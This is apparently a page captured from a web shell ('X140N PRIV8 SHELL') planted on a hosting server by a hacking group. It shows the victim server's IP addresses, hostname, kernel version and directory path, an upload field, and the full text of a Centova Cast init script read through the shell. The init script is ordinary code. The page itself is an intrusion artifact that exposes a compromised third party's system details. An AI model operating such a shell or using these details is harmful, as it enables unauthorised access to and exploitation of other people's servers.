./X140N PRIV8 SHELL
:
216.73.216.124
:
188.40.95.74 / mail.vlasotince.tv
:
Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
:
/
usr
/
local
/
centovacast
/
Upload File:
files >> //usr/local/centovacast/centovacast
#!/usr/bin/env bash # chkconfig: 2345 95 05 ### BEGIN INIT INFO # Provides: centovacast # Required-Start: $local_fs $remote_fs $network $named $syslog $time # Required-Stop: # Should-Start: iptables mysqld mysql cron # Should-Stop: # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: Centova Cast # Description: Centova Cast ### END INIT INFO # ============================================================================= # # Centova Cast - Copyright 2010-2014, Centova Technologies Inc. # Init Script # # ============================================================================= HOMEPATH="" . /etc/centovacast.conf [ -z "$HOMEPATH" ] && echo "/etc/centovacast.conf is missing or damaged -- Centova Cast not installed?" && exit 1 [ ! -f $HOMEPATH/etc/cc-services.conf ] && echo "Cannot open $HOMEPATH/etc/cc-services.conf -- Centova Cast not installed?" && exit 1 NAME="Centova Cast" . $HOMEPATH/etc/cc-services.conf HAS_WEB=${WEB_SERVER:-"0"} HAS_APP=${APP_SERVER:-"0"} HAS_CCD=${CONTROL_SERVER:-"0"} HAS_FTP=${FTP_SERVER:-"0"} HAS_IMG=${IMAGE_DAEMON:-"0"} HAS_PHP=${PHP_FASTCGI:-"0"} HAS_COM=${COMET_DAEMON:-"0"} [ -e /usr/local/centovacast/etc/init.local ] && . /usr/local/centovacast/etc/init.local # Application list, in startup order # format: procname shortname enabled [...] APPLIST="cc-control ccd $HAS_CCD cc-appserver app $HAS_APP cc-php php $HAS_PHP cc-comet com $HAS_COM cc-web web $HAS_WEB cc-ftpd ftp $HAS_FTP cc-imaged img $HAS_IMG" ANY_RUNNING=0 # cphp [args...] scriptname # invoke a PHP script through CC's interpreter cphp() { $HOMEPATH/lib/cc-int -c $HOMEPATH/etc/cc-system.conf $* return $? } rotate_logfile() { local LOGFILE="$1" [ -f ${LOGFILE}.10 ] && rm -f ${LOGFILE}.10 for f in 9 8 7 6 5 4 3 2 1; do local RNTO=$((f+1)) local SRCFILE="${LOGFILE}.$f" [ -f $SRCFILE ] && mv -f $SRCFILE ${LOGFILE}.${RNTO} done mv -f ${LOGFILE} ${LOGFILE}.1 } gdb_autobt() { cat <<EOF >$HOMEPATH/var/lib/autobt run bt quit EOF local LOGIDENT=$(basename "$1") local LOGFILE=$HOMEPATH/var/log/gdb_${LOGIDENT}.log if [ -f $LOGFILE ]; then rotate_logfile $LOGFILE fi # save stdout exec 6>&1 # redirect to log file exec 1>$LOGFILE 2>&1 gdb -x $HOMEPATH/var/lib/autobt --args "$@" & # restore stdout/stderr and release fd6 exec 1>&6 2>&6 6>&- } check_rebooted() { local rbowner local removeok local forceremove=0 [ "$1" == "final" ] && forceremove=1 # first startup since we rebooted? if [ -e $HOMEPATH/var/run/.rebooted ]; then removeok=1 # if .rebooted is owned by root, it's legit; run the atboot script rbowner=$(stat -c '%u' $HOMEPATH/var/run/.rebooted) if [ "$rbowner" == "0" ]; then cphp $HOMEPATH/system/cliutil.php atboot || removeok=0 fi [ $forceremove -gt 0 ] && removeok=1 # if something goes wrong when invoked via start_ccd, we leave .rebooted intact # so that start_app can have a whack at it after it rebuilds autoconfig.php; we # still try in start_ccd, though, to avoid a race condition wherein the cron job # runs after start_ccd but before start_app [ $removeok -gt 0 ] && rm -f $HOMEPATH/var/run/.rebooted fi } # start the control daemon start_ccd() { if [ $HAS_CCD -gt 0 ]; then echo -n "cc-control " check_rebooted if [ -f $HOMEPATH/var/run/cc-control.pid ]; then CCDPID=$(cat $HOMEPATH/var/run/cc-control.pid) [ ! -z "$CCDPID" -a -d "/proc/$CCDPID" ] && echo -n "(already running) " && return 0 rm -f $HOMEPATH/var/run/cc-control.pid fi killall -9 cc-control >/dev/null 2>&1 RPC_PORT="" RPC_MIN_WORKERS=3 RPC_MAX_WORKERS=15 EVENT_POLL_FREQ=15 . $HOMEPATH/etc/cc-control.conf [ -z "$RPC_PORT" ] && echo "$HOMEPATH/etc/cc-control.conf is missing or damaged, cannot start cc-control" && return 1 LICENSE_KEY="" . $HOMEPATH/etc/license.conf [ -z "$LICENSE_KEY" ] && echo "$HOMEPATH/etc/license.conf is missing or damaged, cannot start cc-control" && return 1 # if this server is running the Centova Cast web interface, we must disable the RPC server's web interface # [ $HAS_WEB -gt 0 ] && WEB_PORT=0 if [ "$RPC_CHROOT" == "0" ]; then NOCHROOT="-o" else NOCHROOT="" fi DEBUGPREFIX="" DEBUGARGS="" if [ "$1" == "gdb" ]; then DEBUGARGS="-f -z -vvvvv" DEBUGPREFIX="gdb --args" elif [ "$1" == "debug" ]; then DEBUGPREFIX="gdb_autobt" DEBUGARGS="-f -vvvvv" elif [ "$1" == "strace" ]; then DEBUGARGS="-f -vvvvv" DEBUGPREFIX="strace" elif [ "$1" == "fg" ]; then DEBUGARGS="-f -vvvvv" elif [ "$1" == "efg" ]; then DEBUGARGS="-f -E -vvvvv" fi rm -f $HOMEPATH/var/log/control/core* $DEBUGPREFIX $HOMEPATH/sbin/cc-control \ -p $RPC_PORT -b $RPC_ADDR -c $RPC_CONN_LIMIT -w $RPC_MIN_WORKERS -x $RPC_MAX_WORKERS -u ccuser -g ccuser \ -F $EVENT_POLL_FREQ \ -r $HOMEPATH \ -m /var/log/control/master.log \ -l $LICENSE_KEY \ -s /var/run/cc-control.pid $NOCHROOT $DEBUGARGS [ $? -gt 0 ] && echo "- failed" && return 1 touch $HOMEPATH/var/run/cc-control.state fi return 0 } # stop the control daemon stop_ccd() { QUIET="$1" if [ $HAS_CCD -gt 0 ]; then [ -z "$QUIET" ] && echo -n "cc-control " rm -f $HOMEPATH/var/run/cc-control.state if [ -f $HOMEPATH/var/run/cc-control.pid ]; then kill $(cat $HOMEPATH/var/run/cc-control.pid) rm -f $HOMEPATH/var/run/cc-control.pid else [ -z "$QUIET" ] && echo -n "(not running) " fi fi return 0 } rewrite_dynamic_web_conf() { FILES="" TESTFILES="$HOMEPATH/etc/caching.conf" for f in $TESTFILES; do [ -f $f ] && FILES="$FILES $f" done if [ ! -z "$FILES" ]; then awk -F '=' 'BEGIN { print "# dynamically generated; do not edit"; } /^(#|[ \t]*$)/ { next; } { val=$2 if (val == "true") { val=1; } else if (val == "false") { val=1; } else if (val !~ /^[0-9]+$/) { val = "\"" val "\""; } } FILENAME ~ /\/caching.conf$/ { if ($1 == "ENABLE_WEBSRV_CACHING") { if (val>0) { print "fastcgi_cache_bypass 1;"; } } else if ($1 !~ /(^ENABLE_APPSRV_CACHING|_DURATION$)/) { print "set " $1 " " val ";" } next; } { next; } ' $FILES > $HOMEPATH/etc/cc-dynamic.conf fi if [ -e $HOMEPATH/etc/rpcshadow ]; then local rpcauthkey=$(<$HOMEPATH/etc/rpcshadow) local linksecret=$(echo -n "secure_link:$rpcauthkey" | md5sum | sed 's/ .*$//') echo "set \$LINK_SECRET \"${linksecret}\";" >> $HOMEPATH/etc/cc-dynamic.conf fi return 0; } # start the web interface daemon start_web() { if [ $HAS_WEB -gt 0 ]; then echo -n "cc-web " if [ -f $HOMEPATH/var/run/cc-web.pid ]; then WEBPID=$(cat $HOMEPATH/var/run/cc-web.pid) [ ! -z "$WEBPID" -a -d "/proc/$WEBPID" ] && echo -n "(already running) " && return 0 rm -f $HOMEPATH/var/run/cc-web.pid fi echo "# dynamically generated based on ifconfig output; do not edit" > $HOMEPATH/etc/ipallow.conf ip addr show up | awk '$1 == "inet" && $2 ~ /^[0-9\.]+(\/[0-9]+)?$/ { sub("/.*$","",$2); print "allow " $2 ";" }' >> $HOMEPATH/etc/ipallow.conf #ifconfig | awk '$1 ~ /^inet$/ { sub("addr:","",$2); print "allow " $2 ";" }' >> $HOMEPATH/etc/ipallow.conf grep -q 127.0.0.1 $HOMEPATH/etc/ipallow.conf [ $? -gt 0 ] && echo "allow 127.0.0.1;" >> $HOMEPATH/etc/ipallow.conf rewrite_dynamic_web_conf $HOMEPATH/sbin/cc-web [ $? -gt 0 ] && echo "- failed" && return 1 touch $HOMEPATH/var/run/cc-web.state fi return 0 } # stop the web interface daemon stop_web() { QUIET="$1" if [ $HAS_WEB -gt 0 ]; then [ -z "$QUIET" ] && echo -n "cc-web " rm -f $HOMEPATH/var/run/cc-web.state if [ -f $HOMEPATH/var/run/cc-web.pid ]; then kill $(cat $HOMEPATH/var/run/cc-web.pid) rm -f $HOMEPATH/var/run/cc-web.pid else [ -z "$QUIET" ] && echo -n "(not running) " fi fi return 0 } # start the application server daemon start_app() { # if the update script somehow failed to restore the crontab after disabling it, put it back # in place here as a failsafe measure grep -q '^#UPDATING ' /etc/cron.d/centovacast >/dev/null 2>&1 if [ $? -eq 0 ]; then # update not running right now? if [ ! -e $HOMEPATH/var/run/update ]; then sed 's/^#UPDATING //g' /etc/cron.d/centovacast > /etc/cron.d/centovacast.tmp [ -s /etc/cron.d/centovacast.tmp ] && mv -f /etc/cron.d/centovacast.tmp /etc/cron.d/centovacast chmod 0644 /etc/cron.d/centovacast fi fi if [ $HAS_APP -gt 0 ]; then echo -n "cc-appserver " # convert the definitions in centovacast.conf to a PHP script cphp $HOMEPATH/system/cliutil.php autoconfig $HOMEPATH/etc/centovacast.conf $HOMEPATH/etc/caching.conf > $HOMEPATH/system/autoconfig.php [ $? -eq 0 ] && cphp -l $HOMEPATH/system/autoconfig.php >/dev/null 2>&1 [ $? -gt 0 ] && echo " - bad configuration in centovacast.conf, failed" && return 1 # try to update web and app server POST limits based on upload limit configured in centovacast.conf cphp $HOMEPATH/system/cliutil.php updatelimits $HOMEPATH/system/autoconfig.php $HOMEPATH/etc/cc-system.conf $HOMEPATH/etc/web.d/cc-interface.conf chmod 0640 $HOMEPATH/system/autoconfig.php chown centovacast:centovacast $HOMEPATH/system/autoconfig.php check_rebooted final if [ -f $HOMEPATH/var/run/cc-appserver.pid ]; then APPPID=$(cat $HOMEPATH/var/run/cc-appserver.pid) [ ! -z "$APPPID" -a -d "/proc/$APPPID" ] && echo -n "(already running) " && return 0 rm -f $HOMEPATH/var/run/cc-appserver.pid fi $HOMEPATH/sbin/clear_web_cache >/dev/null 2>&1 $HOMEPATH/sbin/cc-appserver --fpm-config $HOMEPATH/etc/cc-appserver.conf -c $HOMEPATH/etc/cc-system.conf [ $? -gt 0 ] && echo "- failed" && return 1 touch $HOMEPATH/var/run/cc-appserver.state fi return 0 } # stop the application server daemon stop_app() { QUIET="$1" if [ $HAS_APP -gt 0 ]; then rm -f $HOMEPATH/var/run/cc-appserver.state [ -z "$QUIET" ] && echo -n "cc-appserver " if [ -f $HOMEPATH/var/run/cc-appserver.pid ]; then kill $(cat $HOMEPATH/var/run/cc-appserver.pid) # give cc-appserver up to 2s to exit cleanly before trashing its pidfile for n in 0 1 2 3 4 5 6 7 8 9; do [ ! -f $HOMEPATH/var/run/cc-appserver.pid ] && break sleep 0.2 done rm -f $HOMEPATH/var/run/cc-appserver.pid else [ -z "$QUIET" ] && echo -n "(not running) " fi fi return 0 } # start the PHP FastCGI daemon start_php() { if [ $HAS_PHP -gt 0 ]; then echo -n "cc-php " if [ -f $HOMEPATH/var/run/cc-php/cc-php.pid ]; then PHPPID=$(cat $HOMEPATH/var/run/cc-php/cc-php.pid) [ ! -z "$PHPPID" -a -d "/proc/$PHPPID" ] && echo -n "(already running) " && return 0 rm -f $HOMEPATH/var/run/cc-php/cc-php.pid fi $HOMEPATH/sbin/clear_web_cache >/dev/null 2>&1 # if any secondary php-fpm pools exist, make sure all of their respective paths exist # and have correct permissions while read line; do if [ "${line:0:1}" == "[" ]; then plen=${#line}; plen=$((plen-2)) pool=${line:1:$plen} [ "$pool" == "global" -o "$pool" == "webintf" ] && pool="" fi if [ ! -z "$pool" ]; then testdir="" case "$line" in *session.save_path*) savepath="${line#* = }" testdir="$savepath" ;; *error_log*) errorlog="${line#* = }" testdir="${errorlog%/*}" ;; "listen = "*) unixsock="${line#* = }" testdir="${unixsock%/*}" ;; "user = "*) pooluser="${line#* = }" pooluser="${pooluser/\$pool/$pool}" ;; "group = "*) poolgroup="${line#* = }" poolgroup="${poolgroup/\$pool/$pool}" ;; esac if [ ! -z "$testdir" ]; then testdir="${testdir/\$pool/$pool}" [ ! -d "$testdir" ] && mkdir -p $testdir [ ! -z "$pooluser" -a ! -z "$poolgroup" ] && chown $pooluser:$poolgroup $testdir fi fi done < $HOMEPATH/etc/php-fpm.conf $HOMEPATH/sbin/php-fpm --fpm-config $HOMEPATH/etc/php-fpm.conf -c $HOMEPATH/etc/php.ini [ $? -gt 0 ] && echo "- failed" && return 1 touch $HOMEPATH/var/run/cc-php.state fi return 0 } # stop the PHP FastCGI daemon stop_php() { QUIET="$1" if [ $HAS_PHP -gt 0 ]; then rm -f $HOMEPATH/var/run/cc-php.state [ -z "$QUIET" ] && echo -n "cc-php " if [ -f $HOMEPATH/var/run/cc-php/cc-php.pid ]; then kill $(cat $HOMEPATH/var/run/cc-php/cc-php.pid) rm -f $HOMEPATH/var/run/cc-php/cc-php.pid else [ -z "$QUIET" ] && echo -n "(not running) " fi fi return 0 } # start the FTP server daemon start_ftp() { if [ $HAS_FTP -gt 0 ]; then echo -n "cc-ftpd " if [ -f $HOMEPATH/var/run/cc-ftpd.pid ]; then FTPPID=$(cat $HOMEPATH/var/run/cc-ftpd.pid) [ ! -z "$FTPPID" -a -d "/proc/$FTPPID" ] && echo -n "(already running) " && return 0 rm -f $HOMEPATH/var/run/cc-ftpd.pid fi FTP_PORT="" FTP_FSCHARSET="" FTP_CLIENTCHARSET="" . $HOMEPATH/etc/cc-ftpd.conf [ -z "$FTP_PORT" ] && echo "$HOMEPATH/etc/cc-ftpd.conf is missing or damaged, cannot start cc-ftpd" && return 1 [ ! -z "$FTP_FSCHARSET" ] && FTP_FSCHARSET="-8 ${FTP_FSCHARSET}" [ ! -z "$FTP_CLIENTCHARSET" ] && FTP_CLIENTCHARSET="-9 ${FTP_CLIENTCHARSET}" if [ $FTP_PORT -gt 0 ]; then OPTS="" [ "$FTP_CHROOT" != "0" ] && OPTS="$OPTS -A" [ ! -z "$FTP_THROTTLE" ] && OPTS="$OPTS -T $FTP_THROTTLE" mkdir -p $HOMEPATH/var/lib/cc-ftpd/reindex $HOMEPATH/sbin/cc-ftpd $OPTS -1 -B -c $FTP_CONN_LIMIT -C $FTP_IP_LIMIT -E \ -g $HOMEPATH/var/run/cc-ftpd.pid \ -H -k 98 \ -l centovacast:$HOMEPATH \ -o $HOMEPATH/var/lib/cc-ftpd/reindex \ -O stats:$HOMEPATH/var/log/cc-ftpd.log \ -R -S ${FTP_ADDR},${FTP_PORT} \ -u 100 -U 133:022 \ ${FTP_FSCHARSET} ${FTP_CLIENTCHARSET} \ -x ${FTP_OPTIONS} [ $? -gt 0 ] && echo "- failed" && return 1 touch $HOMEPATH/var/run/cc-ftpd.state fi fi return 0 } # stop the FTP server daemon stop_ftp() { QUIET="$1" if [ $HAS_FTP -gt 0 ]; then [ -z "$QUIET" ] && echo -n "cc-ftpd " rm -f $HOMEPATH/var/run/cc-ftpd.state if [ -f $HOMEPATH/var/run/cc-ftpd.pid ]; then kill $(cat $HOMEPATH/var/run/cc-ftpd.pid) rm -f $HOMEPATH/var/run/cc-ftpd.pid else [ -z "$QUIET" ] && echo -n "(not running) " fi fi return 0 } # start the comet daemon start_com() { if [ $HAS_COM -gt 0 ]; then echo -n "cc-comet " if [ -f $HOMEPATH/var/run/cc-comet.pid ]; then COMPID=$(cat $HOMEPATH/var/run/cc-comet.pid) [ ! -z "$COMPID" -a -d "/proc/$COMPID" ] && echo -n "(already running) " && return 0 rm -f $HOMEPATH/var/run/cc-comet.pid fi DEBUGPREFIX="" if [ "$1" == "gdb" ]; then DEBUGPREFIX="gdb --args" fi $DEBUGPREFIX $HOMEPATH/sbin/cc-comet \ -d \ -u ccuser -g ccuser \ $HOMEPATH/etc/cc-comet.conf [ $? -gt 0 ] && echo "- failed" && return 1 touch $HOMEPATH/var/run/cc-comet.state fi return 0 } # stop the comet daemon stop_com() { QUIET="$1" if [ $HAS_COM -gt 0 ]; then [ -z "$QUIET" ] && echo -n "cc-comet " rm -f $HOMEPATH/var/run/cc-comet.state if [ -f $HOMEPATH/var/run/cc-comet.pid ]; then kill $(cat $HOMEPATH/var/run/cc-comet.pid) rm -f $HOMEPATH/var/run/cc-comet.pid else [ -z "$QUIET" ] && echo -n "(not running) " fi fi return 0 } # start the image daemon start_img() { if [ $HAS_IMG -gt 0 ]; then echo -n "cc-imaged " if [ -f $HOMEPATH/var/run/imaged/cc-imaged.pid ]; then IMGPID=$(cat $HOMEPATH/var/run/imaged/cc-imaged.pid) [ ! -z "$IMGPID" -a -d "/proc/$IMGPID" ] && echo -n "(already running) " && return 0 rm -f $HOMEPATH/var/run/imaged/cc-imaged.pid fi IMAGED_WORKER_REQUESTS=50 IMAGED_BIND_PORT="" IMAGED_USER="" IMAGED_GROUP="" . $HOMEPATH/etc/cc-imaged.conf [ -z "$IMAGED_BIND_PORT" ] && echo "$HOMEPATH/etc/cc-imaged.conf is missing or damaged, cannot start cc-imaged" && return 1 if [ $IMAGED_BIND_PORT -gt 0 ]; then if [ -z "$IMAGED_USER" ]; then IMAGED_USER=nobody IMAGED_GROUP=$(id -gn $IMAGED_USER 2>/dev/null) [ -z "$IMAGED_GROUP" ] && IMAGED_GROUP="nogroup" fi if [ "$IMAGED_CHROOT" == "0" ]; then NOCHROOT="-R" else NOCHROOT="" fi DEBUGPREFIX="" DEBUGARGS="" if [ "$1" == "gdb" ]; then DEBUGARGS="-f -vvvvv" DEBUGPREFIX="gdb --args" elif [ "$1" == "debug" ]; then DEBUGPREFIX="gdb_autobt" DEBUGARGS="-f -vvvvv" elif [ "$1" == "strace" ]; then DEBUGARGS="-f -vvvvv" DEBUGPREFIX="strace" elif [ "$1" == "fg" ]; then DEBUGARGS="-f -vvvvv" fi $DEBUGPREFIX $HOMEPATH/sbin/cc-imaged \ -p $IMAGED_BIND_PORT -b $IMAGED_BIND_ADDR -c $IMAGED_HTTP_CONCUR -i $IMAGED_HTTP_IP_CONCUR \ -r $HOMEPATH $NOCHROOT \ -d /var/spool/imaged \ -a /var/log/imaged/access.log \ -e /var/log/imaged/error.log \ -m /var/log/imaged/master.log \ -u $IMAGED_USER -g $IMAGED_GROUP \ -w $IMAGED_WORKER_MIN -W $IMAGED_WORKER_MAX \ -s /var/run/imaged/cc-imaged.pid \ $DEBUGARGS #-x $IMAGED_WORKER_REQUESTS [ $? -gt 0 ] && echo "- failed" && return 1 touch $HOMEPATH/var/run/cc-imaged.state fi fi return 0 } # stop the image daemon stop_img() { QUIET="$1" if [ $HAS_IMG -gt 0 ]; then [ -z "$QUIET" ] && echo -n "cc-imaged " rm -f $HOMEPATH/var/run/cc-imaged.state if [ -f $HOMEPATH/var/run/imaged/cc-imaged.pid ]; then kill $(cat $HOMEPATH/var/run/imaged/cc-imaged.pid) rm -f $HOMEPATH/var/run/imaged/cc-imaged.pid else [ -z "$QUIET" ] && echo -n "(not running) " fi fi return 0 } # check the status of our processes, restarting if necessary check_status() { local PROCNAME="$1" local SHORTNAME="$2" echo -n "$PROCNAME: " STATEFILE=$HOMEPATH/var/run/$PROCNAME.state if [ ! -f $STATEFILE ]; then echo "manually stopped" return fi PIDFILE=${PROCNAME} [ "$PROCNAME" == "cc-imaged" ] && PIDFILE="imaged/$PIDFILE" PIDFILE=$HOMEPATH/var/run/$PIDFILE.pid if [ -f $PIDFILE ]; then PID=$(cat $PIDFILE) if [ ! -z "$PID" ]; then if [ -d "/proc/$PID" ]; then echo "running (pid $PID)" return fi fi fi echo "not running" local TS=$(date +"[%d/%b/%Y %k:%M:%S %z]") echo "$TS Process $PROCNAME is down, attempting restart" >> $HOMEPATH/var/log/process_monitor.log echo -n "Attempting to restart $SHORTNAME: " start_${SHORTNAME} $@ if [ $? -eq 0 ]; then echo "$TS Process $PROCNAME restarted successfully" >> $HOMEPATH/var/log/process_monitor.log echo "" else echo "$TS Process $PROCNAME could not be restarted" >> $HOMEPATH/var/log/process_monitor.log fi } # show the status of our processes show_status() { PROCNAME="$1" echo -n "$PROCNAME: " PIDFILE=${PROCNAME} [ "$PROCNAME" == "cc-imaged" ] && PIDFILE="imaged/$PIDFILE" PIDFILE=$HOMEPATH/var/run/$PIDFILE.pid if [ -f $PIDFILE ]; then PID=$(cat $PIDFILE) if [ ! -z "$PID" ]; then if [ -d "/proc/$PID" ]; then echo "running (pid $PID)" else echo "not running (exited uncleanly)" fi else echo "not running (bad pid file)" fi else echo "not running" fi } check_process() { PROCNAME="$1" RUNNING=$(ps -e | grep -c "${PROCNAME}\$") [ $RUNNING -gt 0 ] && ANY_RUNNING=1 } kill_process() { PROCNAME="$1" ps -e | grep "${PROCNAME}\$" | awk '{print $1}' | xargs -r kill -9 >/dev/null 2>&1 rm -f $HOMEPATH/var/run/${PROCNAME}.pid } reload_app() { SHORTNAME="$1" PROCNAME="$2" local procpid=0 local pidfile local reloaded=0 local signals="" pidfile=$HOMEPATH/var/run/${PROCNAME}.pid if [ -e $pidfile ]; then procpid=$(<$pidfile) [ -d /proc/$procpid ] || procpid=0 fi case $SHORTNAME in web) signals="HUP USR1" ;; app|php) signals="USR2 USR1" ;; esac if [ $procpid -gt 0 ]; then if [ ! -z "$signals" ]; then for s in $signals; do kill -${s} $procpid done reloaded=1 fi fi if [ $reloaded -gt 0 ]; then echo -n "cc-$SHORTNAME " else stop_$SHORTNAME quiet start_$SHORTNAME fi } applist_callback() { CALLBACK="$1"; shift PROCNAME="$1"; shift SHORTNAME="$1"; shift case "$CALLBACK" in show_status) show_status $PROCNAME return 0 ;; check_status) check_status $PROCNAME $SHORTNAME return 0 ;; check_process) check_process $PROCNAME return 0 ;; kill_process) kill_process $PROCNAME return 0 ;; start) start_$SHORTNAME return $? ;; stop) stop_$SHORTNAME "$@" return $? ;; reload) reload_app $SHORTNAME $PROCNAME ;; default) echo "Unknown callback: $CALLBACK" return 1; ;; esac } applist_foreach() { CALLBACK="$1" shift IGNOREERRORS=0 REVERSEAPPS=0 CALLBACKARGS="" while [ ! -z "$1" ]; do OPT="$1" shift case $OPT in ignoreerrors) IGNOREERRORS=1 ;; reverse) REVERSEAPPS=1 ;; args) CALLBACKARGS="$@" break; ;; esac done PROCNAME= SHORTNAME= HASPROC=0 N=1 APPSLEFT="$APPLIST" while [ ! -z "$APPSLEFT" ]; do if [ $REVERSEAPPS -gt 0 ]; then f="${APPSLEFT##* }" APPSLEFT="${APPSLEFT% *}" ARGN=$((4 - $N)) else f="${APPSLEFT%% *}" APPSLEFT="${APPSLEFT#* }" ARGN=$N fi [ "$f" == "$APPSLEFT" ] && APPSLEFT="" case $ARGN in 1) PROCNAME="$f" ;; 2) SHORTNAME="$f" ;; 3) HASPROC=${f:-0} ;; esac if [ $N -eq 3 ]; then if [ $HASPROC -gt 0 ]; then applist_callback "$CALLBACK" "$PROCNAME" "$SHORTNAME" $CALLBACKARGS RC=$? [ $IGNOREERRORS -eq 0 -a $RC -gt 0 ] && return $RC fi N=0 fi N=$((N+1)) done } kill_all() { # give processes 3 sec to exit gracefully for f in 1 2 3 4 5 6; do ANY_RUNNING=0 applist_foreach check_process [ $ANY_RUNNING -eq 0 ] && break sleep 0.5 done # gleefully kill them all applist_foreach kill_process } parse_cpuinfo() { [ ! -d /proc ] && exit cat /proc/cpuinfo | grep '^model name' | awk -F ':' '{print $2}' > $HOMEPATH/var/lib/cpuinfo cat /proc/cpuinfo | grep '^cpu MHz' | awk -F ':' '{print $2}' >> $HOMEPATH/var/lib/cpuinfo if [ $(cat /proc/cpuinfo | grep '^flags' | grep -c ' lm') -gt 0 ]; then echo "x86-64" >> $HOMEPATH/var/lib/cpuinfo else echo "x86" >> $HOMEPATH/var/lib/cpuinfo fi if [ -d /proc/xen ]; then echo "Xen" >> $HOMEPATH/var/lib/cpuinfo elif [ -d /proc/vz ]; then echo "OpenVZ" >> $HOMEPATH/var/lib/cpuinfo else echo "" >> $HOMEPATH/var/lib/cpuinfo fi } case "$1" in start) echo -n "Starting $NAME: " parse_cpuinfo applist_foreach start if [ $? -gt 0 ]; then applist_foreach stop reverse ignoreerrors args 1 echo "" exit 1 fi echo "" ;; reload|graceful) echo -n "Reloading $NAME: " applist_foreach reload echo "" ;; restart|force-reload) $0 stop $0 start ;; stop) echo -n "Stopping $NAME: " applist_foreach stop reverse ignoreerrors kill_all echo "" ;; status) applist_foreach show_status ;; check) [ -d $HOMEPATH/var/run/update ] && echo "An update appears to be in progress; aborting" && exit 1 applist_foreach check_status ;; stop-*|start-*|restart-*|reload-*) ACTION=${1%-*} SHORTNAME=${1#*-} shift VALID=$(echo "$APPLIST" | grep -cE "[a-z_-]+ $SHORTNAME 1") [ $VALID -eq 0 ] && echo "Unrecognized application name: $SHORTNAME" && exit 1 echo -n "Attempting to $ACTION $SHORTNAME: " if [ "$ACTION" == "reload" ]; then reload_app $SHORTNAME cc-${SHORTNAME} [ $? -eq 0 ] && echo "" else ${ACTION}_${SHORTNAME} "$@" [ $? -eq 0 ] && echo "" fi ;; *) echo "Usage: centovacast [start|stop|reload|restart|status]" >&2 exit 3 ;; esac
Copyright © 2022 F4D3D GH05TS BANGLADESH | All Rights Reserved